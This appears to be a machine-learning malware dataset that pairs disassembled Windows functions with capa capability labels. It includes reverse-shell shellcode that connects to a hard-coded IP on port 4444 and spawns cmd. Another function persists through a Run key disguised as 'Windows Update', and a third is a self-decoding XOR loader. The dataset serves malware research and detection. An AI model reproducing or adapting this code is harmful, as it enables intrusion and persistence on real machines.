joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x403203
pop dword [ebp - 0x20]
mov eax, 0xa630b2cb
add eax, 0x5a0f7f38
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x53871cd3
sub dword [ebp - 0x30], 0x534d788
mov dword [ebp - 0x2c], 0x13bfd19b
add dword [ebp - 0x2c], 0x1e737aaa
mov dword [ebp - 0x28], 0x7c0658a0
sub dword [ebp - 0x28], 0x2fba1472
mov dword [ebp - 0x24], 0xd4048a
sub dword [ebp - 0x24], 0xd4048a
lea eax, [ebp - 0x30]
push eax
mov eax, 0xfd1a6166
add eax, 0x3260efe
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x9fc1cca2
sub dword [ebp - 0x30], 0x2b4f634c
mov dword [ebp - 0x2c], 0xe9c3d92a
sub dword [ebp - 0x2c], 0xa85777b5
mov dword [ebp - 0x28], 0xafcd8444
sub dword [ebp - 0x28], 0x4c5e17d8
mov dword [ebp - 0x24], 0xbfbc7eee
sub dword [ebp - 0x24], 0xbfbc7eee
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xdeee891a
add eax, 0x2151e78e
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1e5
push 0
call eax
mov ecx, 0x9c71523d
sub ecx, 0x9c70fc24
mov esi, eax
mov edx, 0x8f10281c
sub edx, 0x8ecf281c
add edx, dword [ebp - 0x20]
mov ebx, 0xfe488ff4
sub ebx, 0x4f1919cc
add dword [ebp - 8], edi
mov edi, dword [edx]
xor dword [ebp - 4], ebx
sub edi, ebx
mov dword [esi], edi
add dword [ebp - 0x14], 0x67460a6e
add esi, 4
add edx, 0x5bf83709
add edx, 0xa407c8fb
loop 0x403325
add eax, 0x14b37
xor ebx, ebx
add ebx, eax
add eax, 0x6cf8181
sub eax, 0x6cf817c
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x105fe108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.105fe258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x105fe12e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105fe11a
add dl, dl
jne 0x105fe139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105fe18c
xor eax, eax
add dl, dl
jne 0x105fe146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105fe22d
add dl, dl
jne 0x105fe155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105fe160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105fe16b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105fe176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105fe182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x105fe125
mov eax, 1
add dl, dl
jne 0x105fe19a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105fe1a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105fe191
sub eax, ebx
mov ebx, 1
jne 0x105fe1d8
mov ecx, 1
add dl, dl
jne 0x105fe1be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105fe1c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105fe1b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105fe125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x105fe1ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105fe1fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105fe1e6
cmp eax, 0x7d00
jae 0x105fe21d
cmp eax, 0x500
jb 0x105fe218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105fe125
cmp eax, 0x7f
ja 0x105fe220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105fe125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x105fe24e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x105fe125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Access peb ldr_data
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor ecx, ecx
mov ebx, dword fs:[ecx + 0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x3c]
add edx, ebx
mov edx, dword [edx + 0x78]
add edx, ebx
mov esi, dword [edx + 0x20]
add esi, ebx
inc ecx
lodsd eax, dword [esi]
add eax, ebx
cmp byte [eax], 0x47
jne 0x401028
cmp byte [eax + 4], 0x72
jne 0x401028
cmp byte [eax + 8], 0x64
jne 0x401028
dec cx
mov esi, dword [edx + 0x24]
add esi, ebx
mov cx, word [esi + ecx*2]
mov esi, dword [edx + 0x1c]
add esi, ebx
mov edx, dword [esi + ecx*4]
add edx, ebx
mov ebp, esp
push ebx
push edx
push 0
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push ebx
call edx
add esp, 0x10
push eax
push 0x4173
push 0x7365636f
push 0x72506574
push 0x61657243
push esp
push dword [ebp - 4]
call dword [ebp - 8]
add esp, 0x10
push eax
push 0x6c6c
push 0x642e3233
push 0x5f327377
push esp
call dword [ebp - 0xc]
add esp, 0xc
push eax
push 0x7075
push 0x74726174
push 0x53415357
push esp
push eax
call dword [ebp - 8]
add esp, 0xc
push eax
push 0x4174
push 0x656b636f
push 0x53415357
push esp
push dword [ebp - 0x14]
call dword [ebp - 8]
add esp, 0xc
push eax
push 0x746365
push 0x6e6e6f63
push esp
push dword [ebp - 0x14]
call dword [ebp - 8]
add esp, 8
push eax
xor ecx, ecx
mov cx, 0x190
sub esp, ecx
push esp
push ecx
call dword [ebp - 0x18]
push eax
push eax
push eax
xor edx, edx
mov dl, 6
push edx
inc eax
push eax
inc eax
push eax
call dword [ebp - 0x1c]
xor ecx, ecx
push 0x170819ac
mov cx, 0x5c11
push cx
xor ebx, ebx
add bl, 2
push bx
mov edx, esp
push 0x10
push edx
push eax
xchg edi, eax
call dword [ebp - 0x20]
xor edx, edx
push 0x646d63
mov ecx, esp
sub esp, 0x10
mov ebx, esp
push edi
push edi
push edi
push edx
push edx
xor eax, eax
inc eax
rol eax, 8
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
xor eax, eax
add al, 0x2c
push eax
mov eax, esp
push ebx
push eax
push edx
push edx
push edx
xor eax, eax
inc eax
push eax
push edx
push edx
push ecx
push edx
call dword [ebp - 0x10]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40196d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019ac
cmp dword [ecx + 0x74], 0xe
jbe 0x4019ac
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x402290
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Persist via run registry key
Set registry value
Terminate process

Disassembly:
sub esp, 0x1a8
mov eax, dword [0x4543f8]
xor eax, esp
mov dword [esp + 0x1a4], eax
push esi
push str.MYFUCKINGMUTEX_48C56927_A0DB_4e31_8C32_FE15FBA45043
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4022d1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call fcn.00413320
mov eax, dword [0x456734]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4022d7
mov ecx, dword [str.winupd.exe]
mov dword [eax], ecx
mov edx, dword [0x44da50]
mov dword [eax + 4], edx
mov ecx, dword [0x44da54]
push 0x104
lea edx, [esp + 0xa0]
push edx
push 0
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0xc]
push eax
call fcn.00404980
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 4]
test byte [esp + edx + 0x14], 6
je 0x40235d
mov eax, dword [0x456734]
push 1
push eax
lea ecx, [esp + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov edx, dword [0x456734]
push 1
push 0
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.00413320
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMICROSOFTWINDOWSCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x9c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402383
sub eax, edx
mov edx, dword [esp + 8]
push eax
lea ecx, [esp + 0xa0]
push ecx
push 1
push 0
push str.Windows_Update
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x64]
call fcn.00404ab0
lea ecx, [esp + 0x64]
push ecx
mov dword [esp + 0x68], vtable.std::ios_base.0
call fcn.00410650
mov ecx, dword [esp + 0x1ac]
add esp, 4
pop esi
xor ecx, esp
call fcn.00411660
add esp, 0x1a8
ret
Function at 0x402d60
Capabilities:
Get disk information

Disassembly:
sub esp, 0x220
mov eax, dword [0x4543f8]
xor eax, esp
mov dword [esp + 0x21c], eax
push ebx
xor ebx, ebx
push 0x104
lea eax, [esp + 0x11d]
push ebx
push eax
mov byte [esp + 0x124], bl
call fcn.0041e300
push 0x104
lea ecx, [esp + 0x21]
push ebx
push ecx
mov byte [esp + 0x28], bl
call fcn.0041e300
add esp, 0x18
push 0x105
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x105
lea eax, [esp + 0x130]
push eax
push 0x44daa0
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
pop ebx
test eax, eax
je 0x402ded
mov eax, dword [esp]
mov ecx, dword [esp + 0x21c]
xor ecx, esp
call fcn.00411660
add esp, 0x220
ret
Function at 0x4042a0
Capabilities:
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x440308
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebp
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
push eax
lea esi, [esp + 0x20]
mov ecx, ebp
call fcn.00406b80
mov edi, eax
sub esp, 0xc
mov esi, esp
mov dword [esp + 0x40], 0
mov ecx, edi
mov edx, esi
mov dword [esp + 0x48], esp
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00401090
mov ecx, dword [edi + 8]
lea edx, [esp + 0x20]
push edx
push ebp
mov dword [esi + 8], ecx
call fcn.00406980
push 3
lea ecx, [esp + 0x3c]
call fcn.0040f1f0
lea edi, [esp + 0x10]
mov byte [esp + 0x30], 1
call fcn.00401190
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 0
call fcn.0040f230
or esi, 0xffffffff
push 3
lea ecx, [esp + 0x3c]
mov dword [esp + 0x34], esi
call fcn.0040f1f0
lea edi, [esp + 0x1c]
mov dword [esp + 0x30], 2
call fcn.00401190
lea ecx, [esp + 0x38]
mov dword [esp + 0x30], esi
call fcn.0040f230
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x24
ret 8
Function at 0x404980
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x440e62
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov edi, dword [esp + 0x2c]
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov ebp, dword [0x456734]
mov dword [edi], 0x44fa90
mov dword [edi + 0x58], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 8]
push esi
mov dword [esp + 0x28], ebx
push edi
mov dword [esp + 0x20], 1
call fcn.00406c20
mov dword [esp + 0x24], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.004090f0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x456738]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
push 1
mov ecx, ebp
mov edx, esi
mov byte [esp + 0x28], 2
call fcn.00406eb0
test eax, eax
jne 0x404a89
mov eax, dword [edi]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + edi + 8]
add ecx, edi
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x404a78
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x404a89
push ebx
call fcn.00401f50
mov eax, edi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x406210
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x440f37
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov edi, dword [esp + 0x24]
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [edi], 0x44faa0
mov dword [edi + 8], 0x44faa8
mov dword [edi + 0x5c], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 0xc]
push esi
mov dword [esp + 0x20], ebx
push edi
mov dword [esp + 0x18], 1
call fcn.00407910
mov dword [esp + 0x1c], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
call fcn.004090f0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x456738]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, edi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x406980
Capabilities:
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x440191
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x38]
xor ebx, ebx
mov dword [esp + 0x14], ebx
lea esi, [esp + 0x1c]
mov ecx, ebp
mov dword [esp + 0x30], 1
call fcn.00404270
mov edi, eax
sub esp, 0xc
mov esi, esp
mov byte [esp + 0x3c], 2
mov ecx, edi
mov edx, esi
mov dword [esp + 0x44], esp
mov dword [esi], ebx
mov dword [esi + 4], ebx
call fcn.00401090
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
sub esp, 0xc
mov esi, esp
mov byte [esp + 0x48], 3
lea ecx, [esp + 0x58]
mov edx, esi
mov dword [esp + 0x30], esp
mov dword [esi], ebx
mov dword [esi + 4], ebx
call fcn.00401090
mov ecx, dword [esp + 0x60]
mov dword [esi + 8], ecx
mov byte [esp + 0x48], 2
call fcn.00408f70
add esp, 0x18
push 3
lea ecx, [esp + 0x3c]
mov ebx, eax
mov byte [esp + 0x34], 1
call fcn.0040f1f0
lea edi, [esp + 0x1c]
mov byte [esp + 0x30], 4
call fcn.00401190
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 1
call fcn.0040f230
mov edx, dword [esp + 0x4c]
push edx
mov edi, ebx
mov esi, ebp
call fcn.00408e90
lea esi, [esp + 0x1c]
mov ecx, ebp
call fcn.00404270
mov byte [esp + 0x30], 5
mov esi, dword [esp + 0x3c]
push ebx
push esi
mov ecx, eax
call fcn.004096c0
push 3
lea ecx, [esp + 0x3c]
mov dword [esp + 0x18], 1
mov byte [esp + 0x34], 1
call fcn.0040f1f0
lea edi, [esp + 0x1c]
mov byte [esp + 0x30], 6
call fcn.00401190
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 1
call fcn.0040f230
push 3
lea ecx, [esp + 0x3c]
mov byte [esp + 0x34], 0
call fcn.0040f1f0
mov dword [esp + 0x30], 7
lea edi, [esp + 0x40]
call fcn.00401190
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 0
call fcn.0040f230
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 0x18
Function at 0x407550
Capabilities:
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x440702
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x30]
xor ebx, ebx
mov dword [esp + 0x30], ebx
mov edi, 1
mov dword [esp + 0x28], edi
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
test eax, 0xffffffe0
je 0x40761c
lea esi, [esp + 0x14]
mov ecx, ebp
call fcn.00407510
mov esi, eax
mov byte [esp + 0x28], 2
mov eax, dword [esp + 0x38]
mov dword [esp + 0x30], edi
test eax, eax
je 0x4075bd
cmp eax, dword [esi]
je 0x407612
push 0xfb
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCinclude_vector
push str.vector_iterators_incompatible
call fcn.0040f260
add esp, 0xc
push str.__Standard_C_Libraries_Invalid_Argument___0_
push 0
push 0xfc
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCinclude_vector
push 2
call fcn.00411ef0
add esp, 0x14
cmp eax, edi
jne 0x4075f4
int3
push 0
push 0xfc
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VCinclude_vector
push str.std::_Vector_const_iterator_class_std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char____class_std::allocator_class_std::basic_string_char_struct_std::char_traits_char__class_std::allocator_char_______::_Compat
push str._invalid_argument_
call fcn.004123f0
add esp, 0x14
mov ebx, dword [esp + 0x40]
sub ebx, dword [esi + 8]
sar ebx, 5
mov dword [esp + 0x28], edi
test byte [esp + 0x30], 1
je 0x40763a
and dword [esp + 0x30], 0xfffffffe
lea edi, [esp + 0x14]
call fcn.004063a0
mov edi, 1
mov ecx, dword [esp + 0x44]
push ecx
push edi
sub esp, 0xc
mov esi, esp
lea ecx, [esp + 0x4c]
mov edx, esi
mov dword [esp + 0x58], esp
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00401090
mov edx, dword [esp + 0x54]
mov ecx, ebp
mov dword [esi + 8], edx
call fcn.00409240
lea esi, [esp + 0x14]
mov ecx, ebp
call fcn.00407510
mov byte [esp + 0x28], 3
mov esi, dword [esp + 0x34]
push ebx
push esi
mov ecx, eax
call fcn.0040afa0
or dword [esp + 0x30], 2
push 3
lea ecx, [esp + 0x48]
mov byte [esp + 0x2c], 1
call fcn.0040f1f0
lea edi, [esp + 0x14]
mov byte [esp + 0x28], 4
call fcn.00401190
lea ecx, [esp + 0x44]
mov byte [esp + 0x28], 1
call fcn.0040f230
push 3
lea ecx, [esp + 0x48]
mov byte [esp + 0x2c], 0
call fcn.0040f1f0
lea edi, [esp + 0x38]
mov dword [esp + 0x28], 5
call fcn.00401190
lea ecx, [esp + 0x44]
mov byte [esp + 0x28], 0
call fcn.0040f230
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0x18
Function at 0x408750
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x440bc8
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x4543f8]
xor eax, esp
mov dword [esp + 0x5c], eax
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x24]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 0x1c]
lea edi, [esp + 0x20]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], 0
call fcn.00402040
lea ecx, [esp + 0x10]
push ecx
push ecx
lea edx, [ebp + 0x14]
push edx
lea ecx, [ebp + 0xc]
push ecx
mov ecx, eax
lea edx, [esp + 0x3c]
mov dword [esp + 0x88], 0
call fcn.00409f20
add esp, 0xc
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x38]
push eax
call fcn.004113c0
fstp dword [esp + 0x28]
mov dword [esp + 0x88], 0xffffffff
mov edi, dword [esp + 0x30]
add esp, 0x10
test edi, edi
je 0x408846
push 0
lea ecx, [esp + 0x2c]
call fcn.0040f1f0
mov eax, dword [edi + 4]
test eax, eax
jbe 0x40881b
cmp eax, 0xffffffff
jae 0x40881b
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x28]
and esi, edi
call fcn.0040f230
test esi, esi
je 0x408846
mov edx, dword [esi]
mov eax, dword [edx]
push 0
mov ecx, esi
call eax
push esi
call fcn.00411670
add esp, 4
lea edi, [ebp + 0x14]
lea esi, [ebp + 0xc]
call fcn.0040cc10
test al, al
mov eax, dword [esp + 0xc]
je 0x40885c
or dword [eax], 1
lea ecx, [esp + 0x2c]
cmp dword [esp + 0x14], ecx
je 0x408879
cmp dword [esp + 0x10], 0
jne 0x408879
fld dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
fstp dword [edx]
jmp 0x40887c
or dword [eax], 2
mov eax, dword [esp + 0x24]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.00411660
mov esp, ebp
pop ebp
ret 0x20
Function at 0x408b70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x440b68
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x4543f8]
xor eax, esp
mov dword [esp + 0x44], eax
push esi
push edi
mov eax, dword [0x4543f8]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x24]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0x1c]
lea edi, [esp + 0x24]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x10], 0
call fcn.00402040
push eax
lea eax, [esp + 0x34]
push 0x800
push eax
lea ecx, [ebp + 0x14]
lea edx, [ebp + 0xc]
mov dword [esp + 0x6c], 0
call fcn.00409780
mov dword [esp + 0x6c], 0xffffffff
mov edi, dword [esp + 0x30]
add esp, 0xc
mov dword [esp + 0x14], eax
test edi, edi
je 0x408c4a
push 0
lea ecx, [esp + 0x30]
call fcn.0040f1f0
mov eax, dword [edi + 4]
test eax, eax
jbe 0x408c1f
cmp eax, 0xffffffff
jae 0x408c1f
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x2c]
and esi, edi
call fcn.0040f230
test esi, esi
je 0x408c4a
mov edx, dword [esi]
mov eax, dword [edx]
push 0
mov ecx, esi
call eax
push esi
call fcn.00411670
add esp, 4
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00410c10
add esp, 0x10
lea edi, [ebp + 0x14]
lea esi, [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.0040cc10
test al, al
mov eax, dword [esp + 0xc]
je 0x408c88
or dword [eax], 1
lea edx, [esp + 0x30]
cmp dword [esp + 0x1c], edx
je 0x408ca5
cmp dword [esp + 0x10], 0
jne 0x408ca5
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
mov dword [ecx], eax
jmp 0x408ca8
or dword [eax], 2
mov eax, dword [esp + 0x28]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.00411660
mov esp, ebp
pop ebp
ret 0x20